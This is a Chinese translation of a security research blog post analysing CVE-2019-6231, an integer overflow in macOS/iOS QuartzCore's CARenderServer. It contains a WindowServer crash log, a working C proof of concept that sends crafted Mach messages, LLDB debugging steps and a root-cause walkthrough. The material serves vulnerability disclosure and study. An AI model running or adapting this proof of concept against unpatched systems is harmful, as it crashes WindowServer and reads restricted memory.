在2019年1月22日,Apple发布了macOS Mojave 10.14.3和iOS 12.1.3版本。 这两个版本修复了许多安全漏洞,包括QuartzCore(又名CoreAnimation)中的CVE-2019-6231。 (有关Apple更新的更多详细信息,请访问: https://support.apple.com/en-us/HT209446https://support.apple.com/en-us/HT209443

研究人员在2018年12月14日的macOS Mojave 10.14.2中发现了这个漏洞,并于2018年12月21日向苹果公司报告了这个问题。然而,Apple回答说这个问题已在12月发布的macOS Mojave 10.14.3测试版中得到修复。 在这篇博客中,我将在macOS上详细分析此漏洞。

快速回顾

QuartzCore,也称为CoreAnimation,是macOS和iOS用来创建动画场景图形的框架。CoreAnimation使用独特的渲染模型,其中图形操作是单独运行的。在macOS上,该过程类似于WindowServer。在iOS上,该过程是在后台运行的。QuartzCore中名为com.apple.CARenderServer的服务通常被称为CARenderServer。 此服务存在于macOS和iOS中,普通用户可以从Safari Sandbox处访问。 当QuartzCore处理函数CA::Render::Image::decode()中的图像对象时,也存在整数溢出的情况。 这会导致恶意应用程序能够读取受限制的内存。

以下是触发此问题时进程WindowServer的奔溃日志。

Process:               WindowServer [57329]

Path:                  /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer

Identifier:            WindowServer

Version:               600.00 (337.5)

Code Type:             X86-64 (Native)

Parent Process:        launchd [1]

Responsible:           WindowServer [57329]

User ID:               88



Date/Time:             2018-12-14 16:51:08.093 -0800

OS Version:            Mac OS X 10.14.2 (18C54)

Report Version:        12

Anonymous UUID:        0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B



Sleep/Wake UUID:       7F5E9869-8B81-4B2F-8BBC-54048DE83A26



Time Awake Since Boot: 15000 seconds

Time Since Wake:       7000 seconds



System Integrity Protection: disabled



Crashed Thread:        2  com.apple.coreanimation.render-server



Exception Type:        EXC_BAD_ACCESS (SIGSEGV)

Exception Codes:       KERN_INVALID_ADDRESS at 0x0000008000000018

Exception Note:        EXC_CORPSE_NOTIFY



Termination Signal:    Segmentation fault: 11

Termination Reason:    Namespace SIGNAL, Code 0xb

Terminating Process:   exc handler [57329]

外部修改警告:

外部任务创建线程。

调试器附加到进程。

VM Regions Near 0x8000000018:

    CoreAnimation          00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV 

-->

    STACK GUARD            0000700009f5e000-0000700009f5f000 [    4K] ---/rwx SM=NUL  stack guard for thread 6

特定的应用信息:

StartTime:2018-12-14 16:28:00

GPU:IG

MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)

IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0



Thread 0:: Dispatch queue: com.apple.main-thread

0   libsystem_kernel.dylib           0x00007fff762f717a mach_msg_trap + 10

1   libsystem_kernel.dylib           0x00007fff762f76d0 mach_msg + 60

2   com.apple.SkyLight              0x00007fff6f2c95fc run_one_server_pass + 337

3   com.apple.SkyLight              0x00007fff6f2c9436 CGXRunOneServicesPass + 460

4   com.apple.SkyLight              0x00007fff6f2ca0bc server_loop + 96

5   com.apple.SkyLight              0x00007fff6f2ca055 SLXServer + 1149

6   WindowServer                        0x000000010d30e4d0 0x10d30d000 + 5328

7   libdyld.dylib                           0x00007fff761bded9 start + 1



Thread 1:

0   libsystem_kernel.dylib           0x00007fff762f717a mach_msg_trap + 10

1   libsystem_kernel.dylib           0x00007fff762f76d0 mach_msg + 60

2   com.apple.CoreDisplay                          0x00007fff48f09851 0x7fff48e57000 + 731217

3   com.apple.CoreDisplay                          0x00007fff48f099af 0x7fff48e57000 + 731567

4   libsystem_pthread.dylib                         0x00007fff763b1305 _pthread_body + 126

5   libsystem_pthread.dylib                         0x00007fff763b426f _pthread_start + 70

6   libsystem_pthread.dylib                         0x00007fff763b0415 thread_start + 13
Thread 2 Crashed:: com.apple.coreanimation.render-server

0   com.apple.CoreFoundation                   0x00007fff48f45575 CFRetain + 15

1   com.apple.QuartzCore                           0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87

2   com.apple.QuartzCore                           0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50

3   com.apple.QuartzCore                           0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104

4   com.apple.QuartzCore                           0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075

5   com.apple.QuartzCore                           0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131

6   com.apple.QuartzCore                           0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116

7   com.apple.QuartzCore                           0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199

8   com.apple.QuartzCore                           0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329

9   com.apple.QuartzCore                           0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748

10  com.apple.QuartzCore                          0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968

11  com.apple.QuartzCore                          0x00007fff53f8fb92 thread_fun(void*) + 25

12  libsystem_pthread.dylib                        0x00007fff763b1305 _pthread_body + 126

13  libsystem_pthread.dylib                        0x00007fff763b426f _pthread_start + 70

14  libsystem_pthread.dylib                        0x00007fff763b0415 thread_start + 13



Thread 3:…….

[truncated]

可以看出,崩溃发生在线程“com.apple.coreanimation.render-server”中。 mach服务“com.apple.CARenderServer”是在/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore中实现的。 在函数(CA::Render::Server *this, const char *a2)中,它能够注册服务“com.apple.CARenderServer”。

服务器线程在函数CA::Render::Server:: server_thread中实现。 它用于从客户端接收mach消息,然后处理这些消息。 当线程收到带有msgh_id 40002或40003的mach消息时,这可以调用函数CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage *this)来处理命令。

而此漏洞存在于函数CA::Render::Server:: ReceivedMessage:: run_command_stream中处理命令流的过程中。

漏洞演示

在下一节中,我将演示如何使用PoC来触发此漏洞。 PoC如下所示。

#include <stdio.h>

#include <mach/i386/kern_return.h>

#include <mach/mach_traps.h>

#include <servers/bootstrap.h>

#include <dirent.h>

#include <sys/stat.h>

#include <time.h>

#include <dlfcn.h>

#include <unistd.h>







typedef struct quartz_register_client_s quartz_register_client_t;

struct quartz_register_client_s {

    mach_msg_header_t header;

    uint32_t body;

    mach_msg_port_descriptor_t ports[4];

    char padding[12];

};





typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;

struct quartzcore_mach_msg{

    mach_msg_header_t header;

    char msg_body[712];

};



uint64_t get_filesize(const char *fn){

    struct stat st;

    stat(fn, &st);

    uint64_t fsize = st.st_size;

    return fsize;

};



int main(int argc, const char * argv[]) {



    mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;

    task_get_bootstrap_port(mach_task_self(), &bs_port);

    const char *render_service_name = "com.apple.CARenderServer";

    kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");

    kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);



    if (kr != KERN_SUCCESS) {

        return -1;

    }



    printf("[*] Get service of %s successully!\n", render_service_name);



    quartz_register_client_t msg_register;

    memset(&msg_register, 0, sizeof(msg_register));

    msg_register.header.msgh_bits =

    MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |

    MACH_MSGH_BITS_COMPLEX;

    msg_register.header.msgh_remote_port = p;

    msg_register.header.msgh_local_port = mig_get_reply_port();

    msg_register.header.msgh_id = 40202;  // _XRegisterClient



    msg_register.body = 4;

    msg_register.ports[0].name = mach_task_self();

    msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;

    msg_register.ports[1].name = mach_task_self();

    msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;

    msg_register.ports[2].name = mach_task_self();

    msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;

    msg_register.ports[3].name = mach_task_self();

    msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;

    msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;



    kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,

                  sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),

                  msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    if (kr != KERN_SUCCESS) {

        return -1 ;

    }



    mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);

    uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);



    printf("[*] context_port: 0x%x, conn_id: 0x%x\n",context_port,conn_id);



    char *crash_log = "crash.data"; //size is 736.



    FILE *fp = fopen(crash_log, "rb");

    if(fp == NULL){

        printf("fopen error!\n");

    }



    uint64_t fsize = get_filesize(crash_log);

    void *msg_buf = malloc(fsize);

    memset(msg_buf, 0, fsize);

    fread(msg_buf, fsize, 1, fp);



    quartzcore_mach_msg_t qc_mach_msg = {0};

    qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;

    qc_mach_msg.header.msgh_remote_port = context_port;

    qc_mach_msg.header.msgh_id = 40002;



    memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));

    *(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1;  // Ports count

    memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);

    *(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;



    kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    if (kr != KERN_SUCCESS) {

        printf("[-] Send message failed: 0x%d\n", kr);

        return -1 ;

    }

    return 0;

}

初始的mach消息和精心制作的mach消息之间的比较如下所示。

通过二进制diff工具,我们只需要将偏移量0x142处的一个字节从0x00修改为0x80,以触发此漏洞。

如PoC的C代码所示,为了发送精心设计的mach消息以触发,我们首先需要发送带有msgh_id 40202mach消息(服务器中相应的处理程序是_XRegisterClient)以检索每个新的连接ID 连接客户端。

一旦我们获得了连接id的值,我们就将这个值设置为mach消息中的相应偏移量(0x2C)。 最后,我们发送此消息以触发漏洞。

原因分析

在本节中,我将使用LLDB来动态调试此漏洞并找出其根本原因。 请注意,我们在这里需要通过SSH模式调试WindowServer进程。

使用崩溃日志中崩溃线程的堆栈回溯操作,我们可以使用以下命令在函数CA::Render::Server::ReceivedMessage::run_command_stream中设置条件断点。

br s -n CA::Render::Server::ReceivedMessage::run_command_stream

br mod  -c '*(int*)($r13+0x2c) == [conn_id]'

conn_id的值可以通过在PoC的C代码中的第112行设置断点来获得。

在此断点被击中后,我们可以读取已发送的消息缓冲区中的数据。 寄存器r13指向系统消息。

(lldb) c

Process 172 resuming

Process 172 stopped

* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1

    frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()

QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:

->  0x7fff3fca6824 <+0>: pushq  %rbp

    0x7fff3fca6825 <+1>: movq   %rsp, %rbp

    0x7fff3fca6828 <+4>: pushq  %r15

    0x7fff3fca682a <+6>: pushq  %r14

Target 0: (WindowServer) stopped.

(lldb) re read

General Purpose Registers:

       rax = 0x0000000000000000

       rbx = 0x0000000000009c42

       rcx = 0x0000000000000002

       rdx = 0x000000000000c203

       rdi = 0x000070000cc52ca0

       rsi = 0x000000000000c203

       rbp = 0x000070000cc52ef0

       rsp = 0x000070000cc51c78

        r8 = 0x000000000001450b

        r9 = 0x0000000000000000

       r10 = 0x0000000000001000

       r11 = 0x0000000000000202

       r12 = 0x0000000000000000

       r13 = 0x000070000cc51ca0

       r14 = 0x00007fff8ece4b20  QuartzCore`CA::Render::Server::_callback_lock

       r15 = 0x00007fd93f2f5300

       rip = 0x00007fff3fca6824  QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()

    rflags = 0x0000000000000293

        cs = 0x000000000000002b

        fs = 0x0000000000000000

        gs = 0x0000000000000000



(lldb) x -c 0x2e0 0x000070000cc51ca0

0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00  ....?......./?..

0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00  ....B...........

0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60  ..............5`

0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00  ;?'Y.?w@.?......

0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01  .?....0.......?.

0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c  ...@?0.....?....

0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00  ..?...??.,?.....

0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20  .?.....h.@.....

0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |@..............

0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20  ...............

0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02  ..?0.....?.....

0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00  .?...??.,?......

0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22  ?.....@F@......"

0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  @...............

0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32  ......@V@......2

0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00  @?`.!.....?.....

0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00  ...?...$........

0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00  ....??. .....?..

0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00  .-9..m..........

0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00  ........?.......

0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80  ....?...?...?...

0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02  ?............ ..

0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00  ??0.....?.......

0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff  ...............?

0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00  ...??.,?......?.

0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00  ....d.@......w@.

0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00  ....@V@......2@.

0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80  ............ ...

0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00  ?0.....?........

0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00  ..............?.

0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00  ..??.,?......?..

0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1  ........... ...?

0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00  ......?.........

0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01  .............?..

0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00  .??.,?......?...

0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00  .......... .....

(lldb)

函数CA::Render::Decoder::decode_object(CA::Render::Decoder *this, CA::Render::Decoder *a2)用于解码所有类型的对象数据。 从偏移量0x70000cc51d6e开始的缓冲区数据是一个Layer对象(标记为绿色)。

以下代码分支用于解析Layer对象数据。

我们来看看如何处理这个Layer对象。 以下列表说明了Layer对象中字段的含义。

函数CA::Render::Layer::Layer(CA::Render::Layer *this, CA::Render::Decoder *a2)的实现如下所示。

我们可以看到下一个数据仍然代表一个对象。 接下来,让我们继续跟踪下一个数据的处理方式。

下一个数据仍然代表一个对象。 此对象中的第一个字节表示对象的类型。 字节0x16表示该对象是Image对象,如下所示。

接下来,让我们看一下CA::Render::Image::decode()函数如何解码Image对象。

以下列表说明了Image对象中每个字段的含义。

我们可以看到数据的8个字节(00 03 00 00 00 00 00 80)被解码为size_t类型,并且其值被设置为异常。

在图中,变量v9等于0x8000000000000300,它作为参数传递给函数CA::Render::validate_rowbytes

现在让我们仔细看看CA::Render::validate_rowbytes函数如何处理这个值。

在这里我们很容易发现算术运算a2 * *(_QWORD *)(a3 + 8LL * v4)是作为整数溢出而存在。 此时,变量a2等于0x24并且可以通过调用CA::Render::Decoder::decode_int32()来获得,如图所示。因此,由于变量v6的值等于0 而溢出。 然后该函数返回0,导致下一个程序执行流程发生变化。 通常,它应该返回1.让我们回到图中来看看执行流程的变化。

因为函数CA::Render::validate_rowbytes由于整数溢出而返回0,所以稍后系统可以转到LABEL_31处。 然后它可以调用函数CA::Render::Texture::decode() 来解码下一个缓冲区的数据。 以下是函数CA::Render::Texture::decode`的实现。

然后它可以调用函数CA::Render::Decoder::decode_colorspace来解码带有颜色的数据。

让我们完整分析一下这个功能。 它首先解码一个int8类型的整数并得到结果0x01。 然后它可以执行case 1分支。 变量v3的值等于0xFE。 然后它可以调用函数CAGetColorSpace来获取颜色空间的数据。

此处索引值等于0xfe,实际上这里的值大于有颜色数组的最大索引,从而能够读取受限制的内存数据。

要读取的受限存储器的地址等于0x291EE0(0x2916F0 + 0xFE * 8)

因此函数CAGetColorSpace的返回值等于0x8000000010。 显然,这是一个无效的内存地址。 当此地址作为参数传递给CFRetain函数时,它可能导致EXC_BAD_ACCESS异常。

结论

我们现在已经完成了对此漏洞的详细分析。 虽然此漏洞同时影响macOS和iOS,但在本博客中,我只在macOS中进行了演示和分析。

受感染版本

macOS Sierra 10.12.6,macOS High Sierra 10.13.6,macOS Mojave 10.14.2

iPhone 5s及更高版本,iPad Air及更高版本,以及iPod touch第6代

参考链接

https://support.apple.com/en-us/HT209446

https://support.apple.com/en-us/HT209443

https://ssd-disclosure.com/index.php/archives/3796

本文翻译自https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖